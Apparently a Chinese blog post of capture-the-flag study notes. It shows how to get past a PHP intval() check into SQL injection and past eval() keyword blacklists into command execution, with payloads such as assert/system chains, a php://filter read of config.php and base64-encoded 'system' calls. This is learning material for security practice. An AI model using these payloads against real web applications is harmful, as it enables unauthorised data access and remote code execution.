一点简单绕过

作者 by Yichen / 2023-07-20 / 暂无评论 / 31 个足迹

一.php的intval函数
代码:

<?php
include("config.php");
if(isset($_GET['id'])){
$id = $_GET['id'];
if(intval($id) > 999){
die("id error");
}else{
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
<!-- flag in id = 1000 -->

1.使用+号使其运算:500%2B500(在PHP的intval函数中识别到非整数时就结束了,但mysql中会进行运算)(使用*号同理)
(id=2 or id =1000 题中只有1和1000有数,所以可以)
2.位移运算:id=125<<3(向左位移每次翻一倍,三次为1000)
3.id=1 union select ** from article; - -+联合查询
4.进制转换:
二进制:0b;
八进制:0;
十六进制:0x
5.内联注释:/*!1000*/(/*/为注释符号,可以在注释符号中添加特殊符号进行一些绕过)
6.取反两次~~1000
7.字符‘1000’(因为GET传参传入类型为字符型若传1000相当于传入“1000”,intval函数将其转换成整数型1000,此时传入‘1000’就相当于传入了“‘1000’”,此时intval收到的就是“‘1000’“无法转换成整数型判断其整数值为0,实现绕过)

preg_match("/ \'| \"|or|\||\-|\\\|/|\\
*|\<|\>|^|\!|\~|x|hex|\(|\)|\+|select/i",$id)

可用二进制绕过
二.常用命令
cd .. ; 返回上一目录
pwd; 显示当前工作目录
system()
exec()
passthru()
eval()
assert()断言不用加分号
有时会见到@,屏蔽掉出错信息,有@时就算连接出错,也不会报错的
查询命令:
tac:文件反向输出
nl:列出文件内容,空本行也加上行号
ls:查看当前目录下文件
cat:查看文件
echo:打印
(补充:``可以充当system的作用)
代码:

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>

可以看出要查询当前目录下的config.php文件,
可使用echotac config.php;的命令(记得加分号)可将文件打印显示除tac外也可使用其他命令进行组合;
另一种方法:?c=assert($_GET[1]);&1=system("cat config.php")
(通过eval函数执行断言命令,规避了正则匹配)
类似有:?c=include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php(使用include传伪协议)对以下正则可用
(("/system|\*|?|\<|\>|\=|exec|highlight|cat|(|.|file|php|config/i",$c))
其他方法 : $a=base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);)
(后两种感觉很多地方可以尝试)
补:有时会过滤‘;’只需末尾用?>结尾可省略;

   对于文件名的过滤可使用通配符**绕过

三.关于php中正则的‘\’
正则匹配时,输\\\时被认为过滤”\“字符,因为在php中处理时\\被转义为一个\,因此\\\在进入正则时变为\,再经正则处理变为\,所以\\\表示对'\'字符进行过滤。

独特见解